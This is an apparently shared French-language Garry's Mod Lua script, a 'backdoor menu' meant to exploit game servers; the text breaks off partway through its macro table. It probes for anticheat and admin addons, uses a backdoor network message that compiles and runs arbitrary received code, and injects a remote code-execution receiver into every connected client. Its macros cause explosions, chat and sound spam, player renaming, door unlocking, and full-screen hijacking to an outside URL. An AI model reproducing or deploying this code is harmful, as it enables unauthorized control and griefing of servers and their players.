· 7 years ago · Jan 29, 2019, 11:26 AM
1print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
2MsgC (Color(math.random(1,25),math.random(1,25),math.random(1,25)), [[
3
4
5
6
7 .#@@@@ @
8 `@@@@@@@ ,@
9 @@@@@@@` ;@@
10 @@@@@@@@@# `+@@@@@
11 :@@@@@@'+,;; @@@@@@'@
12 #@@@@@ : ,:@@@@@@`@@
13 #@@@' `;:#@@@@;`,;@
14 @@@ ,; `@@@@ ':@`
15 @@@ #; ,@@@. #@@, 88Triggering Chargé | Menu Privé
16 `@@@@ ,#,. .@@@@@@@@
17 @@@@@@#' @@@@@@@, Tapez 88 Pour Ouvrir Le Menu :D
18 .#@@@. @@@@@@
19 +.#,#@; `@@@@@#
20 ,@++`` `#' +:@@@@@# Enjoy (sauf le serveur)
21 ` .+@@` #: .#@@@ .@@:
22 ,@@@, + ,@@@, @@
23 +#@@ . @@@@' ++ Backdoor Menu
24 @@@` @@@@+ @
25 +@@. :+@@# #
26 @@, @@@#` `: PRIVATE MENU FOR :
27 @@@ @@@@, @
28 ,@@ :@@@, ;@ Zilnix
29 @@ @@@ .@
30 ,@# @@@+ .+; Aiiden
31 @@@ @@@@ :#@
32 @@' ;@@@@ `@@# Supremacist
33 `@@@ :@@@@@@ ,@@#@
34 ;@@@` `'@@#@@'@@@,.:+@@@@@@ Drilen
35 +@@@@@@@@@@+@.+@@@@@@@@@@#@
36 #@@@+@,@#'@#` @@@@@@@@@@@@ Killua!
37 @@@@@@@@@, @@@@@@@@@@+
38 @@@@@@;, +@@@@@@@@@
39 `,' @@@@@@+.
40
41 ]])
42
43
44/*================================
45|===== 88Triggering CHECKERS =====|
46=================================*/
47
48
49if (_G.QAC or _G.CAC) then
50MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 0, 0 )," Cake Anticheat / Quack Anti Cheat Détecté ! \n" )
51else
52MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 0, 255, 0 )," Cake Anticheat / Quack-Anti-Cheat Non Détecté ! \n" )
53end
54
55
56if (_G.ulx or _G.ulib) then
57MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 0, 255, 0 )," Ulx / Ulib Détecté ! \n" )
58else
59MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 0, 0 )," Ulx / Ulib Non Détecté ! \n" )
60end
61
62
63if (_G.FAdmin) then
64MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 0, 255, 0 )," DarkRP Détecté ! \n" )
65else
66MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 0, 0 )," DarkRP Non Détecté ! \n" )
67end
68
69
70if file.Exists("snte_source.lua","LUA") then
71MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 0, 255, 0 )," SNTE Détecté ! \n" )
72end
73
74
75
76
77/*=====================================
78|===== 88Triggering BACKDOOR MENU =====|
79======================================*/
80
81
82
83
84
85local BD = {}
86local h = http
87
88
89BD.Backdoors = BD.Backdoors or {}
90
91BD.BackdoorTypes = {
92
93 ["adsp_door_length"] = {
94
95 ["Code"] = "util.AddNetworkString( 'adsp_door_length' ) net.Receive( 'adsp_door_length', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
96
97 ["Netkey"] = "adsp_door_length",
98
99 },
100
101}
102
103local netsss = net.Start
104
105function BD.IsMessagePooled( netmessage )
106
107local netfunc = netsss
108
109local status, error = pcall( netfunc, netmessage )
110
111return status
112
113end
114
115
116
117local net = net
118
119
120
121
122local ctxt = chat.AddText
123
124function BD.ChatText( message, col )
125
126 ctxt( Color(0,0,0,255), "[88] ", col, message )
127
128end
129
130
131
132function BD.PingBackDoors()
133
134 local bds = {}
135
136 for k, v in pairs(BD.BackdoorTypes) do
137
138 if BD.IsMessagePooled( tostring( v.Netkey ) ) then bds[k] = true end
139
140 end
141
142 return bds
143
144end
145
146concommand.Add("bd_refresh_backdoors", function() BD.Backdoors = BD.PingBackDoors() end)
147
148
149
150function BD.BackdoorActive()
151
152 return table.Count( BD.Backdoors ) > 0
153
154end
155
156
157
158function BD.GetActive()
159
160 if !BD.BackdoorTypes[BD.CurrentBackdoor] then return { ["Code"] = "local x = 69", ["Netkey"] = "" } end
161
162 return BD.BackdoorTypes[BD.CurrentBackdoor]
163
164end
165
166
167
168BD.BDMacros ={
169
170
171
172/*===========================================
173|===== Commandes Sur Tout Les Joueurs =====|
174============================================*/
175
176
177
178
179
180 ["Frappe Orbital Aléatoire"] = {
181
182 ["Type"] = 1,
183
184 ["Code"] = [[if !bombstrike then
185
186 hook.Add("Think", "lulz_bombstrike", function()
187
188 local explode = ents.Create( "env_explosion" )
189
190 local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
191
192 local trc = {}
193
194 trc.start = ps
195
196 trc.endpos = ps + Vector( 0, 0, -99999)
197
198 local tr = util.TraceLine(trc)
199
200 if !tr.Hit then return end
201
202 explode:SetPos( tr.HitPos )
203
204 explode:Spawn()
205
206 explode:SetKeyValue( "iMagnitude", "400" )
207
208 explode:Fire( "Explode", 0, 0 )
209
210 end)
211
212 bombstrike = true
213
214 else
215
216 hook.Remove("Think", "lulz_bombstrike")
217
218 bombstrike = false
219
220 end]],
221
222 ["Desc"] = "Effectuer Des Frappes Orbital",
223
224 },
225
226
227
228
229
230 [" Injecter Backdoor"] = {
231
232 ["Type"] = 1,
233
234 ["Code"] = [[
235
236 util.AddNetworkString( "88Triggered" )
237
238 function BDSendLua( p, str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Send( p ) end
239
240 function BDSendLuaAll( str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Broadcast() end
241
242 function BDInjectAids( p ) p:SendLua( 'net.Receive( "88Triggered", function() RunString( net.ReadString() ) end )' ) end
243
244 for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
245
246 hook.Add( "PlayerInitialSpawn", "youonlyget88Triggeredagain", function( p ) BDInjectAids( p ) end)
247
248 ]],
249
250 ["Desc"] = "You need this to use certain macros",
251
252 },
253
254
255
256 ["Annonce Sur L'écran"] = {
257
258 ["Type"] = 1,
259
260 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
261
262 ["Desc"] = "Ecrit un truc au millieu de de l'écran des autres :D",
263
264 ["NeedsParameters"] = 1,
265
266 },
267
268
269
270 ["Spam Chat Multicolore"] = {
271
272 ["Type"] = 1,
273
274 ["Code"] = [[
275
276 if !timer.Exists( "lespamckool" ) then
277
278 timer.Create( "lespamckool", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
279
280 else
281
282 timer.Remove( "lespamckool" )
283
284 end]],
285
286 ["Desc"] = "Spam le chat de manière multicolore, c'est drôle",
287
288 ["NeedsParameters"] = 1,
289
290 },
291
292 ["Changer Le Nom De Tous"] = {
293
294 ["Type"] = 1,
295
296 ["Code"] = [[ for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, @1) v:setDarkRPVar("rpname", @1) end ]],
297
298 ["Desc"] = "Sa va être drôle :)",
299
300 ["NeedsParameters"] = 1,
301
302 },
303
304
305 ["Violent Spam Chat Multicolore"] = {
306
307 ["Type"] = 1,
308
309 ["Code"] = [[
310
311 if !timer.Exists( "wutckoasa" ) then
312
313 timer.Create( "wutckoasa", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
314
315 else
316
317 timer.Remove( "wutckoasa" )
318
319 end]],
320
321 ["Desc"] = "Spam le chat de manière multicolore et très rapidement, c'est très drôle",
322
323 ["NeedsParameters"] = 1,
324
325 },
326
327
328
329 ["Débloquer Les Portes"] = {
330
331 ["Type"] = 1,
332
333 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
334
335 ["Desc"] = "Pas besoin d'expliquer",
336
337 },
338
339
340
341 ["Activer/Desactiver Les Portes"] = {
342
343 ["Type"] = 1,
344
345 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
346
347 ["Desc"] = "Pas besoin d'expliquer",
348
349 },
350
351
352
353 ["Symphony De Verre Cassé"] = {
354
355 ["Type"] = 1,
356
357 ["Code"] = [[
358
359 if !timer.Exists( "A true masterpiece" ) then
360
361 timer.Create( "A true masterpiece", 0.2, 0, function()
362
363 for _, p in pairs(player.GetAll()) do
364
365 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
366
367 end
368
369 end)
370
371 else
372
373 timer.Remove( "A true masterpiece" )
374
375 end]],
376
377 ["Desc"] = "C'est la meilleur symphony qu'on ai vu",
378
379 },
380
381
382
383 ["Yeah Baby"] = {
384
385 ["Type"] = 1,
386
387 ["Code"] = [[
388
389 if !timer.Exists( "porn" ) then
390
391 timer.Create( "porn", 0.3, 0, function()
392
393 for _, p in pairs(player.GetAll()) do
394
395 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
396
397 end
398
399 end)
400
401 else
402
403 timer.Remove( "porn" )
404
405 end]],
406
407 ["Desc"] = "YEAH BABY YEAH",
408
409 },
410
411 ["Bruit D'Impact"] = {
412
413 ["Type"] = 1,
414
415 ["Code"] = [[
416
417 if !timer.Exists( "impakt" ) then
418
419 timer.Create( "impakt", 0.3, 0, function()
420
421 for _, p in pairs(player.GetAll()) do
422
423 p:EmitSound( "physics/body/body_medium_impact_hard1.wav", 100, math.random( 90, 120 ) )
424
425 end
426
427 end)
428
429 else
430
431 timer.Remove( "impakt" )
432
433 end]],
434
435 ["Desc"] = "Ca doit faire mal",
436
437 },
438
439 ["Bruit de Cloche"] = {
440
441 ["Type"] = 1,
442
443 ["Code"] = [[
444
445 if !timer.Exists( "pimpon" ) then
446
447 timer.Create( "pimpon", 0.3, 0, function()
448
449 for _, p in pairs(player.GetAll()) do
450
451 p:EmitSound( "ambient/alarms/warningbell1.wav", 100, math.random( 90, 120 ) )
452
453 end
454
455 end)
456
457 else
458
459 timer.Remove( "pimpon" )
460
461 end]],
462
463 ["Desc"] = "Qu'est ce qui ce passe bordel",
464
465 },
466
467 ["Guerre Civil"] = {
468
469 ["Type"] = 1,
470
471 ["Code"] = [[
472
473 if !timer.Exists( "cwar" ) then
474
475 timer.Create( "cwar", 1, 0, function()
476
477 for _, p in pairs(player.GetAll()) do
478
479 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
480
481 end
482
483 end)
484
485 else
486
487 timer.Remove( "cwar" )
488
489 end]],
490
491 ["Desc"] = "C'est n'importe quoi dans c'te ville",
492
493 },
494
495
496
497 ["Séisme"] = {
498
499 ["Type"] = 1,
500
501 ["Code"] = [[
502
503 if !timer.Exists( "earthquake" ) then
504
505 timer.Create( "earthquake", 0.5, 500, function()
506
507 for _, p in pairs(player.GetAll()) do
508
509 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
510
511 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
512
513 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
514
515 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
516
517 end
518
519
520
521 for _, e in pairs(ents.GetAll()) do
522
523 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
524
525 end
526
527
528
529
530
531 end)
532
533 else
534
535 timer.Remove( "earthquake" )
536
537 end]],
538
539 ["Desc"] = "WOOOOOOOOOOAW ON EST EN CHINE BORDEL",
540
541 },
542
543
544
545 ["Dominer Le Serveur"] = {
546
547 ["Type"] = 1,
548
549 ["Code"] = [[
550
551 hook.Add("PlayerInitialSpawn", "gw_siezed", function( ply ) ply:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "http://lmaoooo.mtxserv.fr/" )') end)
552
553 for k, v in pairs(player.GetAll()) do
554
555 v:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "http://lmaoooo.mtxserv.fr/" )')
556
557 end]],
558
559 ["Desc"] = "Prouve que tu domine se serveur :c",
560
561 },
562
563
564
565 ["Exploser Tout Les Véhicules"] = {
566
567 ["Type"] = 1,
568
569 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
570
571 local explo = ents.Create("env_explosion")
572
573 explo:SetPos(v:GetPos())
574
575 explo:SetKeyValue("iMagnitude", "300")
576
577 explo:Spawn()
578
579 explo:Activate()
580
581 explo:Fire("Explode", "", 0)
582
583 end
584
585 end]],
586
587 ["Desc"] = "Sa va faire boom",
588
589 },
590
591
592
